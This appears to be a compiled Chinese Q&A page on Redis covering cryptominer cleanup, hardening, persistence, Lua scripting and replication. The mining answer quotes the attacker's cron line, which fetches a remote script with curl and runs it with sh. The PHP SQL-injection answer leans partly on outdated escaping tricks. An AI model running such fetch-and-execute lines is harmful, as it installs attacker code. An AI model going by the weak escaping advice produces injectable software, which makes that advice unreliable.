如何防止redis被挖礦病毒入侵
① 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權, 在沒有找到根源前,千萬不要刪除 minerd,因為刪除了,過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top,查看了一會,沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下,感興趣的可以研究下:
View Code
解決minerd並不是最終的目的,主要是要查找問題根源,我的伺服器問題出在了redis服務了,黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權,http://blog.jobbole.com/94518/然後就注入了病毒,下面是解決辦法和清除工作:
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」,區分普通用戶和admin許可權,普通用戶將會被禁止運行某些命令,如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表,是不是有你不認識的用戶添加進來。 如果有就刪除掉.
② 中挖礦病毒的表現
故障現象:使用過程中,發現經常有服務無故關閉,登錄伺服器經檢查,發現CPU使用率達到100%。在檢測異常進程中,未發現CPU使用率異常的進程(使用 top、htop 以及 ps -aux 進行檢查),於是報障。
檢測過程:
1.找到他shell腳本對應目錄把目錄或者文件刪除。
2.檢查定時任務是否存在挖礦木馬文件在定時任務中,避免定時運行挖礦木馬文件。
3.添加hosts挖礦病毒訪問對應網站,避免二次訪問並下載。
4.排查liunx命令是否損壞,如損壞下載"procps-3.2.8"並編譯,恢復top等系列命令。
5.檢測進程是否異常。
6.排查入侵入口,例如 redis是否存在弱口令,nginx或者apache上面的網站程序是否存在漏洞,並排查下nginx或者apache日誌審查漏洞所在處。
7.排查ssh登錄日誌。
8.把ssh登錄切換成秘鑰登錄。
9.重啟伺服器,檢查是否進程是否正常。
③ 如何將redis中的數據持久化到資料庫中
1、
快照的方式持久化到磁碟
自動持久化規則配置
save
900
1
save
300
10
save
60
10000
上面的配置規則意思如下:
#
In
the
example
below
the
behaviour
will
be
to
save:
#
after
900
sec
(15
min)
if
at
least
1
key
changed
#
after
300
sec
(5
min)
if
at
least
10
keys
changed
#
after
60
sec
if
at
least
10000
keys
changed
redis也可以關閉自動持久化,注釋掉這些save配置,或者save
「」
如果後台保存到磁碟發生錯誤,將停止寫操作.
stop-writes-on-bgsave-error
yes
使用LZF壓縮rdb文件,這會耗CPU,
但是可以減少磁碟佔用.
rdbcompression
yes
保存rdb和載入rdb文件的時候檢驗,可以防止錯誤,但是要付出約10%的性能,可以關閉他,提高性能。
rdbchecksum
yes
導出的rdb文件名
dbfilename
mp.rdb
設置工作目錄,
rdb文件會寫到該目錄,
append
only
file也會存儲在該目錄下.
dir
./
④ 防火牆怎麼配置防挖礦
針對挖礦蠕蟲對SSH/RDP等進行暴力破解的攻擊方式,雲防火牆的基礎防禦支持常規的暴力破解檢測方式,如登錄或試錯頻次閾值計算,對超過試錯閾值的行為進行IP限制,還支持在用戶的訪問習慣、訪問頻率基線的基礎上,結合行為模型在保證用戶正常訪問不被攔截的同時對異常登錄進行限制。
針對一些通用的漏洞利用方式(如利用Redis寫Crontab執行命令、資料庫UDF進行命令執行等),雲防火牆的基礎防禦基於阿里雲的大數據優勢,利用阿里雲安全在雲上攻防對抗中積累的大量惡意攻擊樣本,可以形成精準的防禦規則,具有極高的准確性。
若您需要開啟雲防火牆的基礎防禦,只需要在安全策略->入侵防禦->基礎防禦配置欄勾選基礎規則即可,當基礎防禦開啟後,在網路流量分析->IPS阻斷分析中可以看到詳細的攔截日誌。
⑤ 什麼時候用Redis
默認情況下,redis
服務會提供
16
個資料庫,phphub
使用
0
號資料庫來做緩存,1
號資料庫來做會話存儲
-
laravel
下配置
redis
讓緩存、session
各自使用不同的
redis
資料庫_phphub
隊列的話使用
beanstalkd
最常用的就是緩存、隊列,當然還有很多其它的,如歸並計算、去重等。
我根據自己使用redis的場景及個人最佳實踐,整理了一篇文章,redis應用場景與最佳實踐
比如網站搶購時,可以使用redis做隊列,可以使用redis來代替session功能,還有可以拿redis中的無序集合做socket的客戶端id存儲。
⑥ php中防止SQL注入,該如何解決
防sql注入的一個簡單方法就是使用框架,一般成熟框架中會集成各種安全措施。
當然也可以自己處理,如果用戶的輸入能直接插入到SQL語句中,那麼這個應用就易收到SQL注入的攻擊。我認為最重要的一點,就是要對數據類型進行檢查和轉義。
php.ini
------------
display_errors 選項,應該設為display_errors = off。這樣 php 腳本出錯之後,不會在 web 頁面輸出錯誤,以免讓攻擊者分析出有作的信息。
打開magic_quotes_gpc來防止SQL注入,magic_quotes_gpc= Off,這個默認是關閉的,如果它打開後將自動把用戶提交對sql的查詢進行轉換,比如把 ' 轉為 '等,對於防止sql注射有重大作用。如果magic_quotes_gpc=Off,則使用addslashes()函數。
mysql 函數
---------------
調用mysql_query 等mysql 函數時,前面應該加上 @,即 @mysql_query(...),這樣 mysql 錯誤不會被輸出。同理以免讓攻擊者分析出有用的信息。另外,有些程序員在做開發時,當mysql_query出錯時,習慣輸出錯誤以及sql 語句。
mysql_real_escape_string -- 轉義 SQL 語句中使用的字元串中的特殊字元,並考慮到連接的當前字元集。
Sql語句
------------
對提交的 sql 語句,進行轉義和類型檢查。如果請求是數值型,那麼調用is_numeric() 判斷是否為數值。如果不是,則返回程序指定的默認值。簡單起見,對於文本串,我將用戶輸入的所有危險字元(包括HTML代碼),全部轉義。由於php 函數addslashes()存在漏洞,我用str_replace()直接替換。get_magic_quotes_gpc()函數是php 的函數,用來判斷magic_quotes_gpc 選項是否打開。
其它
---------
使用預處理語句和參數化查詢(PDO或mysqli)。預處理語句和參數分別發送到資料庫伺服器進行解析,參數將會被當作普通字元處理。這種方式使得攻擊者無法注入惡意的SQL。
⑦ redis有腳本語言嗎
有,lua腳本語言
Redis腳本
使用腳本的好處:
減少網路開銷。可以將多個請求通過腳本的形式一次發送,減少網路時延
原子操作。redis會將整個腳本作為一個整體執行,中間不會被其他命令插入。因此在編寫腳本的過程中無需擔心會出現競態條件,無需使用事務。
復用。客戶端發送的腳步會永久存在redis中,這樣,其他客戶端可以復用這一腳本而不需要使用代碼完成相同的邏輯。
--eval,告訴redis-cli讀取並運行後面的lua腳本
path/to/redis.lua,是lua腳本的位置
KEYS[1] KEYS[2],是要操作的鍵,可以指定多個,在lua腳本中通過KEYS[1], KEYS[2]獲取
ARGV[1] ARGV[2],參數,在lua腳本中通過ARGV[1], ARGV[2]獲取。
- redis.call('set', 'foo', 'bar')local value=redis.call('get', 'foo') --value的值為bar
EVAL "lua-script" [key ...] [arg ...]
通過key和arg這兩類參數向腳本傳遞數據,它們的值在腳本中分別使用KEYS和ARGV兩個表類型的全局變數訪問。
注意: EVAL命令依據參數key-number來將其後面的所有參數分別存入腳本中KEYS和ARGV兩個table類型的全局變數。當腳本不需要任何參數時,也不能省略這個參數(設為0)
redis>EVAL "return redis.call('SET', KEYS[1], ARGV[1])" 1 foo bar
OK
redis>GET foo"bar"EVALSHA命令
在腳本比較長的情況下,如果每次調用腳本都需要將整個腳本傳給Redis會佔用較多的帶寬。為了解決這個問題,Redis提供了EVALSHA命令,允許開發者通過腳本內容的SHA1摘要來執行腳本,該命令的用法和EVAL一樣,只不過是將腳本內容替換成腳本內容的SHA1摘要。
Redis在執行EVAL命令時會計算腳本的SHA1摘要並記錄在腳本緩存中,執行EVALSHA命令時Redis會根據提供的摘要從腳本緩存中查找對應的腳本內容,如果找到了則執行腳本,否則會返回錯誤:"NOSCRIPT No matching script. Please use EVAL."
在程序中使用EVALSHA命令的一般流程如下。
雖然這一流程略顯麻煩,但值得慶幸的是很多編程語言的Redis客戶端都會代替開發者完成這一流程。執行EVAL命令時,先嘗試執行EVALSHA命令,如果失敗了才會執行EVAL命令。
先計算腳本的SHA1摘要,並使用EVALSHA命令執行腳本。
獲得返回值,如果返回「NOSCRIPT」錯誤則使用EVAL命令重新執行腳本。
SCRIPTLOAD "lua-script"
將腳本加入緩存,但不執行. 返回:腳本的SHA1摘要
SCRIPT EXISTS lua-script-sha1
判斷腳本是否已被緩存
SCRIPT FLUSH
清空腳本緩存 redis將腳本的SHA1摘要加入到腳本緩存後會永久保留,不會刪除,但可以手動使用SCRIPT FLUSH命令情況腳本緩存。
SCRIPT KILL
強制終止當前腳本的執行。 但是,如果當前執行的腳步對redis的數據進行了寫操作,則SCRIPT KILL命令不會終止腳本的運行,以防止腳本只執行了一部分。腳本中的所有命令,要麼都執行,要麼都不執行。
調用Lua腳本的語法:
$ redis-cli --eval path/to/redis.lua KEYS[1] KEYS[2] , ARGV[1] ARGV[2] ...
注意:
KEYS和ARGV中間的 ',' 兩邊的空格,不能省略。
redis支持大部分Lua標准庫
庫名
說明
Base 提供一些基礎函數
String 提供用於字元串操作的函數
Table 提供用於表操作的函數
Math 提供數學計算函數
Debug 提供用於調試的函數
在腳本中調用redis命令
在腳本中可以使用redis.call函數調用Redis命令
redis.call函數的返回值就是Redis命令的執行結果
Redis命令的返回值有5種類型,redis.call函數會將這5種類型的回復轉換成對應的Lua的數據類型,具體的對應規則如下(空結果比較特殊,其對應Lua的false)
redis返回值類型和Lua數據類型轉換規則
redis返回值類型
Lua數據類型
整數回復 數字類型
字元串回復 字元串類型
多行字元串回復 table類型(數組形式)
狀態回復 table類型(只有一個ok欄位存儲狀態信息)
錯誤回復 table類型(只有一個err欄位存儲錯誤信息)
redis還提供了redis.pcall函數,功能與redis.call相同,唯一的區別是當命令執行出錯時,redis.pcall會記錄錯誤並繼續執行,而redis.call會直接返回錯誤,不會繼續執行。
在腳本中可以使用return語句將值返回給客戶端,如果沒有執行return語句則默認返回nil
Lua數據類型和redis返回值類型轉換規則
Lua數據類型
redis返回值類型
數字類型 整數回復(Lua的數字類型會被自動轉換成整數)
字元串類型 字元串回復
table類型(數組形式) 多行字元串回復
table類型(只有一個ok欄位存儲狀態信息) 狀態回復
table類型(只有一個err欄位存儲錯誤信息) 錯誤回復
腳本相關命令
Redis的腳本執行是原子的,即腳本執行期間Redis不會執行其他命令。所有的命令都必須等待腳本執行完成後才能執行。為了防止某個腳本執行時間過長導致Redis無法提供服務(比如陷入死循環),Redis提供了lua-time-limit參數限制腳本的最長運行時間,默認為5秒鍾。當腳本運行時間超過這一限制後,Redis將開始接受其他命令但不會執行(以確保腳本的原子性,因為此時腳本並沒有被終止),而是會返回「BUSY」錯誤
⑧ redis主從復制最好採用哪種結構
redis主從復制總結整理
主題Redis
Redis的主從復制策略是通過其持久化的rdb文件來實現的,其過程是先mp出rdb文件,將rdb文件全量傳輸給slave,然後再將mp後的操作實時同步到slave中。讓從伺服器(slave server)成為主伺服器(master server)的精確復製品。官方文檔ReplicationHowto中提到以下特點:
一個master支持多個slave,slave可以接受其他slave的連接,作為其他slave的master,從而形成一個master-slave的多級結構
復制功能不會阻塞主伺服器: 即使有一個或多個從伺服器正在進行初次同步, 主伺服器也可以繼續處理命令請求。復制功能不會阻塞從伺服器: 只要在redis.conf文件中進行了相應的設置, 即使從伺服器正在進行初次同步, 伺服器也可以使用舊版本的數據集來處理命令查詢。不過, 在從伺服器刪除舊版本數據集並載入新版本數據集的那段時間內, 連接請求會被阻塞。
復制被利用來提供可擴展性,比如可以將slave端用作數據冗餘,也可以將耗時的命令(比如sort)發往某些slave從而避免master的阻塞,另外也可以用slave做持久化,由從伺服器去執行持久化操作,這只需要將master的配置文件中的save指令注釋掉。
Redis 使用非同步復制。 從 Redis 2.8 開始, 從伺服器會以每秒一次的頻率向主伺服器報告復制流的處理進度。
復制功能的實現
redis的主從復制分為兩個階段:
1)同步操作:將從伺服器的資料庫狀態更新至主伺服器當前所處的資料庫狀態。
2)命令傳播:在主伺服器的資料庫狀態被修改,導致主從伺服器的資料庫狀態出現不一致時,讓主從伺服器重新回到一致狀態。
同步
當客戶端向從伺服器發送SLAVEOF命令, 要求從伺服器復制主伺服器時, 從伺服器首先需要執行同步操作, 也即是, 將從伺服器的資料庫狀態更新至主伺服器當前所處的資料庫狀態。
從伺服器對主伺服器的同步操作需要通過向主伺服器發送SYNC命令來完成, 以下是SYNC命令的執行步驟:
從伺服器向主伺服器發送SYNC命令。
收到SYNC命令的主伺服器執行BGSAVE命令, 在後台生成一個 RDB 文件, 並使用一個緩沖區記錄從現在開始執行的所有寫命令。
當主伺服器的BGSAVE命令執行完畢時, 主伺服器會將BGSAVE命令生成的 RDB 文件發送給從伺服器, 從伺服器接收並載入這個 RDB 文件, 將自己的資料庫狀態更新至主伺服器執行BGSAVE命令時的資料庫狀態。
主伺服器將記錄在緩沖區裡面的所有寫命令發送給從伺服器, 從伺服器執行這些寫命令, 將自己的資料庫狀態更新至主伺服器資料庫當前所處的狀態。
下圖展示了SYNC命令執行期間, 主從伺服器的通信過程:
命令傳播
在同步操作執行完畢之後, 主從伺服器兩者的資料庫達到一致狀態, 但這種一致並不是一成不變的。當主伺服器執行客戶端發送的寫命令時,主伺服器的資料庫就有可能會被修改, 並導致主從伺服器狀態不再一致。為了讓主從伺服器再次回到一致狀態,主伺服器需要對從伺服器執行命令傳播操作: 主伺服器會將自己執行的寫命令 —— 即造成主從伺服器不一致的那條寫命令發送給從伺服器執行, 當從伺服器執行了相同的寫命令之後, 主從伺服器將再次回到一致狀態。但是這樣的復制功能有缺陷:在主從伺服器斷線重連之後執行同步動作時,生成完整的RDB文件並且發送到從伺服器載入,但主從伺服器的資料庫狀態在斷線前基本上是一致的,不一致的部分只有斷線後主伺服器執行那一部分修改資料庫的命令,所以這時SYNC命令就非常浪費,因為生成RDB文件時一個非常消耗CPU、內存和IO資源的過程,發送RDB文件到從伺服器會佔用大量的網路帶寬資源,從伺服器在載入RDB文件的過程中會阻塞不會響應任何命令,所以大部分情況下執行SYNC命令是沒有必要也是非常不合理的。
為了解決2.8之前版本SYNC命令的性能問題,2.8版本設計了一個新的命令PSYNC,PSYNC命令分為完整重同步和部分重同步,完整重同步過程用於從伺服器初始化時初次復制的情況和SYNC命令基本一致,PSYNC則用於斷線後重新復制,在條件允許的情況下,它不會生成RDB文件,而是給從伺服器回復一個+Continue表示執行部分重同步,並且把從伺服器斷線後主伺服器執行的修改資料庫的命令發送到從伺服器,從伺服器執行這些命令同步資料庫。
部分重同步功能由下面幾個部分構成:
主伺服器的復制偏移量和從伺服器的復制偏移量:當主伺服器在向從伺服器進行命令同步時,主伺服器和從伺服器會各自記錄一個復制偏移量,當主從伺服器的資料庫狀態一致時這兩個復制偏移量是相同的,如果這兩個偏移量不一致說明當前主從伺服器的狀態不一致。
主伺服器的復制積壓緩沖區:復制積壓緩沖區是一個固定大小的FIFO隊列,當隊列已滿時會彈出最早插入的數據,在主伺服器進行命令傳播時會同時把命令放到緩沖區中,緩沖區包含兩部分數據,偏移量和位元組。在進行復制時從伺服器會將偏移量上報到主伺服器,主服務檢查當前偏移量是否還存在緩沖區中,如果存在進行部分重同步,如果不存在進行完整重同步。因為這個積壓緩沖區是一個固定大小的隊列,所以當從伺服器長時間斷線時,從伺服器的復制偏移量很可能已不再緩沖區中,這時候只能進行完整重同步。
伺服器的運行ID:初次同步時主伺服器會把ID發給從伺服器,從伺服器保存主伺服器ID,當斷線重連後,會把之前保存的主伺服器ID上報給主伺服器,主伺服器檢查從伺服器之前復制的主伺服器ID是否和自己的ID相同,如果相同,執行部分重同步,如果不同說明從伺服器之前記錄的狀態不是當前主伺服器,這時候需要執行完整重同步。
PSYNC命令實現
初始復制或者之前執行過SLAVEOF no one命令,執行完整重同步:發送PSYNC ? -1命令到主伺服器。如果從伺服器已經復制過某個主伺服器,在開始新復制時向主伺服器發送PSYNC <runid> <offset>命令,runid是上次復制的主伺服器id,offset是從伺服器的復制偏移量,主伺服器會根據這個兩個參數來決定做哪種同步,判斷伺服器id是否和本機相同,復制偏移量是否在緩沖區中,主伺服器有三種回復:
回復+FULLRESYNC <runid> <offset>執行完整重同步,從伺服器把offset當做初始復制偏移量
回復+CONTINUE,表示執行部分重同步,從伺服器等待主伺服器發送缺少的數據
回復-ERR,表示主伺服器版本低於2.8,不支持PSYNC命令
新版本復制過程:
設置主伺服器地址和埠,通過調用SAVEOF <master_ip> <master_port>命令。
建立套接字連接。
發送PING命令,檢查主從伺服器是否能夠正常處理命令。
身份驗證,從伺服器設置了masterauth並且主伺服器設置了requirepass是需要進行身份驗證。這兩個選項要麼都設置要麼都不設置,如果只設置了一個從伺服器向主伺服器發送命令時會報錯。
發送埠信息,通過執行命令REPLCONF listening-port <port-number>,向主伺服器發送從伺服器的監聽埠號。
同步,從伺服器向主伺服器發送PSYNC命令。
命令傳播,完成同步之後主伺服器會把之後執行的寫命令傳播到從伺服器保證主從伺服器的狀態一致。
心跳檢測
在命令傳播階段,從伺服器默認每秒一次的頻率向主伺服器發送命令:REPLCONF ACK <replication_offset>,replication_offset是從伺服器的復制偏移量,該命令有三個作用:
檢測從伺服器的網路連接狀態,檢測主從伺服器連接是否正常,如果主伺服器超過一定時間沒有收到從伺服器的REPLCONF ACK 命令,那麼它們的連接可能出了問題。
輔助實現min-slaves選項,min-slaves-to-write和min-slaves-max-lag兩個選項可以防止主伺服器在不安全的情況下執行寫命令,min-slaves-to-write 3 min-slaves-max-lag 10 表示如果從伺服器少於3個,或者3個從伺服器的延遲都大於10秒時,主伺服器拒絕寫命令。
檢測命令丟失,主伺服器接收到從伺服器的REPLCONF ACK 命令之後會檢查從伺服器的偏移量是否和主伺服器的一致,如果不一致會把積壓緩沖區中的從伺服器偏移量後面的命令發送到從伺服器。
關閉主伺服器持久化時,復制功能的數據安全
當配置Redis復制功能時,強烈建議打開主伺服器的持久化功能。 否則的話,由於延遲等問題,部署的服務應該要避免自動拉起。為了幫助理解主伺服器關閉持久化時自動拉起的危險性,參考一下以下會導致主從伺服器數據全部丟失的例子:
假設節點A為主伺服器,並且關閉了持久化。 並且節點B和節點C從節點A復制數據
節點A崩潰,然後由自動拉起服務重啟了節點A. 由於節點A的持久化被關閉了,所以重啟之後沒有任何數據
節點B和節點C將從節點A復制數據,但是A的數據是空的, 於是就把自身保存的數據副本刪除。
在關閉主伺服器上的持久化,並同時開啟自動拉起進程的情況下,即便使用Sentinel來實現Redis的高可用性,也是非常危險的。 因為主伺服器可能拉起得非常快,以至於Sentinel在配置的心跳時間間隔內沒有檢測到主伺服器已被重啟,然後還是會執行上面的數據丟失的流程。無論何時,數據安全都是極其重要的,所以應該禁止主伺服器關閉持久化的同時自動拉起。
只讀從伺服器
從 Redis 2.6 開始, 從伺服器支持只讀模式, 並且該模式為從伺服器的默認模式。
只讀模式由redis.conf文件中的slave-read-only選項控制, 也可以通過CONFIG SET命令來開啟或關閉這個模式。
只讀從伺服器會拒絕執行任何寫命令, 所以不會出現因為操作失誤而將數據不小心寫入到了從伺服器的情況。
即使從伺服器是只讀的,DEBUG和CONFIG等管理式命令仍然是可以使用的, 還是不應該將伺服器暴露給互聯網或者任何不可信網路。 不過, 使用redis.conf中的命令改名選項, 可以通過禁止執行某些命令來提升只讀從伺服器的安全性。
一些不重要的臨時數據, 仍然是可以保存在從伺服器上面的。 比如說, 客戶端可以在從伺服器上保存主伺服器的可達性信息, 從而實現故障轉移策略。所以仍然要讓一個從伺服器變得可寫。
從伺服器相關配置
如果主伺服器通過requirepass選項設置了密碼, 那麼為了讓從伺服器的同步操作可以順利進行, 我們也必須為從伺服器進行相應的身份驗證設置。
對於一個正在運行的伺服器, 可以使用客戶端輸入以下命令:
config set masterauth <password>
要永久地設置這個密碼, 那麼可以將它加入到配置文件中:
masterauth <password>
詳細的信息可以參考 Redis 源碼中附帶的redis.conf示例文件。
主伺服器只在有至少 N 個從伺服器的情況下,才執行寫操作
從 Redis 2.8 開始, 為了保證數據的安全性, 可以通過配置, 讓主伺服器只在有至少 N 個當前已連接從伺服器的情況下, 才執行寫命令。不過, 因為 Redis 使用非同步復制, 所以主伺服器發送的寫數據並不一定會被從伺服器接收到, 因此, 數據丟失的可能性仍然是存在的。以下是這個特性的運作原理:
從伺服器以每秒一次的頻率 PING 主伺服器一次, 並報告復制流的處理情況。
主伺服器會記錄各個從伺服器最後一次向它發送 PING 的時間。
用戶可以通過配置, 指定網路延遲的最大值min-slaves-max-lag, 以及執行寫操作所需的至少從伺服器數量min-slaves-to-write。
如果至少有min-slaves-to-write個從伺服器, 並且這些伺服器的延遲值都少於min-slaves-max-lag秒, 那麼主伺服器就會執行客戶端請求的寫操作。你可以將這個特性看作 CAP 理論中的 C 的條件放寬版本: 盡管不能保證寫操作的持久性, 但起碼丟失數據的窗口會被嚴格限制在指定的秒數中。
如果條件達不到min-slaves-to-write和min-slaves-max-lag所指定的條件, 那麼寫操作就不會被執行, 主伺服器會向請求執行寫操作的客戶端返回一個錯誤。
以下是這個特性的兩個選項和它們所需的參數:
min-slaves-to-write<numberofslaves>
min-slaves-max-lag<numberofseconds>
詳細的信息可以參考 Redis 源碼中附帶的redis.conf示例文件。
Redis可擴展集群搭建
1. 主動復制避開Redis復制缺陷。
既然Redis的復制功能有缺陷,不妨放棄Redis本身提供的復制功能,我們可以採用主動復制的方式來搭建我們的集群環境。所謂主動復制是指由業務端或者通過代理中間件對Redis存儲的數據進行雙寫或多寫,通過數據的多份存儲來達到與復制相同的目的,主動復制不僅限於 用在Redis集群上,目前很多公司採用主動復制的技術來解決MySQL主從之間復制的延遲問題,比如Twitter還專門開發了用於復制和分區的中間件gizzard(https://github.com/twitter/gizzard) 。
主動復制雖然解決了被動復制的延遲問題,但也帶來了新的問題,就是數據的一致性問題,數據寫2次或多次,如何保證多份數據的一致性呢?如果你的應用 對數據一致性要求不高,允許最終一致性的話,那麼通常簡單的解決方案是可以通過時間戳或者vector clock等方式,讓客戶端同時取到多份數據並進行校驗,如果你的應用對數據一致性要求非常高,那麼就需要引入一些復雜的一致性演算法比如Paxos來保證 數據的一致性,但是寫入性能也會相應下降很多。
通過主動復制,數據多份存儲我們也就不再擔心Redis單點故障的問題了,如果一組Redis集群掛掉,我們可以讓業務快速切換到另一組Redis上,降低業務風險。
2. 通過presharding進行Redis在線擴容。
通過主動復制我們解決了Redis單點故障問題,那麼還有一個重要的問題需要解決:容量規劃與在線擴容問題。我們前面分析過Redis的適用場景是全部數據存儲在內存中,而內存容量有限,那麼首先需要根據業務數據量進行初步的容量規劃,比如你的業務數據需 要100G存儲空間,假設伺服器內存是48G,至少需要3~4台伺服器來存儲。這個實際是對現有 業務情況所做的一個容量規劃,假如業務增長很快,很快就會發現當前的容量已經不夠了,Redis裡面存儲的數據很快就會超過物理內存大小,如何進行 Redis的在線擴容呢?Redis的作者提出了一種叫做presharding的方案來解決動態擴容和數據分區的問題,實際就是在同一台機器上部署多個Redis實例的方式,當容量不夠時將多個實例拆分到不同的機器上,這樣實際就達到了擴容的效果。
拆分過程如下:
在新機器上啟動好對應埠的Redis實例。
配置新埠為待遷移埠的從庫。
待復制完成,與主庫完成同步後,切換所有客戶端配置到新的從庫的埠。
配置從庫為新的主庫。
移除老的埠實例。
重復上述過程遷移好所有的埠到指定伺服器上。
以上拆分流程是Redis作者提出的一個平滑遷移的過程,不過該拆分方法還是很依賴Redis本身的復制功能的,如果主庫快照數據文件過大,這個復制的過程也會很久,同時會給主庫帶來壓力。所以做這個拆分的過程最好選擇為業務訪問低峰時段進行。
新浪微博的replication改進思路:
首先寫Redis的AOF文件,並對這個AOF文件按文件大小進行自動分割滾動,同時關閉Redis的Rewrite命令,然後會在業務低峰時間進行內存快照存儲,並把當前的AOF文件位置一起寫入到快照文件中,這樣我們可以使快照文件與AOF文件的位置保持一致性,這樣我們得到了系統某一時刻的內存快照,並且同時也能知道這一時刻對應的AOF文件的位置,那麼當從庫發送同步命令時,我們首先會把快照文件發送給從庫,然後從庫會取出該快照文件中存儲的AOF文件位置,並將該位置發給主庫,主庫會隨後發送該位置之後的所有命令,以後的復制就都是這個位置之後的增量信息了。
Redis的復制由於會使用快照持久化方式,所以如果Redis持久化方式選擇的是日誌追加方式(aof),那麼系統有可能在同一時刻既做aof日誌文件的同步刷寫磁碟,又做快照寫磁碟操作,這個時候Redis的響應能力會受到影響。所以如果選用aof持久化,則加從庫需要更加謹慎。
總結
Master最好不要做任何持久化工作,包括內存快照和AOF日誌文件,特別是不要啟用內存快照做持久化。
如果數據比較關鍵,某個Slave開啟AOF備份數據,策略為每秒同步一次。
為了主從復制的速度和連接的穩定性,Slave和Master最好在同一個區域網內。
盡量避免在壓力較大的主庫上增加從庫
為了Master的穩定性,主從復制不要用圖狀結構,用單向鏈表結構更穩定,即主從關系為:Master<–Slave1<–Slave2<–Slave3…….,這樣的結構也方便解決單點故障問題,實現Slave對Master的替換,也即,如果Master掛了,可以立即啟用Slave1做Master,其他不變。